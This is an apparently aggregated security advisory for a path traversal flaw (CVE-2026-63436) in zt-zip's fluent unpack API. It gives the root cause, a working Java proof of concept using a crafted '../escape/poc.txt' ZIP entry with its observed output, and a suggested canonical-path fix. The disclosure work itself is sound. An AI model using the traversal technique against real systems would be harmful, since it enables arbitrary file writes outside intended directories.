OFFLINE
Awaiting data
Security intelligence
MajorCritical vulnerability

CVE-2026-63436: zt-zip: Path traversal in fluent API unpack

GitHub Advisories · officialPublished Nov 9, 2026Risk 37/100

### Summary `ZipUtil.unpack(...)` rejects ZIP entries that escape the target output directory, but the `Zips` fluent API appears to use a separate unpack implementation that does not apply the same destination-boundary check. A ZIP entry such as: ```text ../escape/poc.txt ``` is written outside the configured destination directory when processed with: ```java Zips.get(zip).unpack().destination(outputDir).process(); ``` The transformer branch is affected as well. ### Tested Version commit: 067935dca375500d3ff025aafcdf0e4283931b1a ### Root Cause In `src/main/java/org/zeroturnaround/zip/Zips.java`, `Zips.UnpackingCallback.process(...)` builds the output file directly from the ZIP entry name: ```java String entryName = zipEntry.getName(); File file = new File(destination, entryName); ``` The method then creates directories/files and copies content to that path: ```java FileUtils.forceMkdir(file.getParentFile()); file.createNewFile(); FileUtils.copy(in, file); ``` When a transformer is configured, the same `file` is passed to `transformIntoFile(...)`. There does not appear to be a canonical path check before these filesystem writes, so `../` entries can resolve outside `destination`. ### Minimal Reproduction ```java import java.io.*; import java.nio.charset.StandardCharsets; import java.nio.file.*; import java.util.zip.*; import org.zeroturnaround.zip.ZipUtil; import org.zeroturnaround.zip.Zips; import org.zeroturnaround.zip.transform.ZipEntryTransformer; public class ZipsTraversalPoc { public static void main(String[] args) throws Exception { Path work = Files.createTempDirectory("ztzip-zips-poc"); Path zip = work.resolve("poc.zip"); Path escaped = work.resolve("escape").resolve("poc.txt"); String entryName = "../escape/poc.txt"; Files.createDirectories(escaped.getParent()); try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) { zos.putNextEntry(new ZipEntry(entryName)); zos.write("plain branch\n".getBytes(StandardCharsets.UTF_8)); zos.closeEntry(); } Path zipUtilOut = work.resolve("ziputil-out"); Files.createDirectories(zipUtilOut); try { ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile()); System.out.println("ZIPUTIL_REJECTED=false"); } catch (Throwable t) { System.out.println("ZIPUTIL_REJECTED=" + t.getClass().getName()); } System.out.println("ZIPUTIL_ESCAPED_EXISTS=" + Files.exists(escaped)); Files.deleteIfExists(escaped); Path zipsOut = work.resolve("zips-out"); Files.createDirectories(zipsOut); Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process(); System.out.println("ZIPS_PLAIN_ESCAPED_EXISTS=" + Files.exists(escaped)); System.out.println("ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsOut.normalize())); Files.deleteIfExists(escaped); Path zipsTransformOut = work.resolve("zips-transform-out"); Files.createDirectories(zipsTransformOut); Zips.get(zip.toFile()) .unpack() .destination(zipsTransformOut.toFile()) .addTransformer(entryName, new ZipEntryTransformer() { public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException { out.putNextEntry(new ZipEntry(entry.getName())); out.write("transform branch\n".getBytes(StandardCharsets.UTF_8)); out.closeEntry(); } }) .process(); System.out.println("ZIPS_TRANSFORM_ESCAPED_EXISTS=" + Files.exists(escaped)); System.out.println("ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsTransformOut.normalize())); } } ``` Observed output: ```text ZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException ZIPUTIL_ESCAPED_EXISTS=false ZIPS_PLAIN_ESCAPED_EXISTS=true ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true ZIPS_TRANSFORM_ESCAPED_EXISTS=true ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true ``` ### Expected Behavior `Zips.get(zip).unpack().destination(outputDir).process()` should reject traversal entries or otherwise ensure that the resolved output path remains inside `outputDir`. ### Impact Applications that unpack attacker-controlled ZIP files through the `Zips` fluent API may allow arbitrary file writes outside the intended extraction directory, depending on filesystem permissions and application layout. ### Suggested Fix Apply the same destination-boundary validation used by `ZipUtil.unpack(...)` before any filesystem write in `Zips.UnpackingCallback.process(...)`. For example, compare canonical `Path` values before creating directories or files: ```java file.getCanonicalFile().toPath() .startsWith(destination.getCanonicalFile().toPath()) ``` Regression tests should cover both: ```java Zips.get(zip).unpack().destination(out).process(); Zips.get(zip).unpack().destination(out).addTransformer(...).process();

Upgrade affected packages to a patched version: org.zeroturnaround:zt-zip 1.18.0.

Vendor
Not specified
Product
org.zeroturnaround:zt-zip
Exploitation
none known
Evidence
official
CVSS
8.2

This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.

Open primary source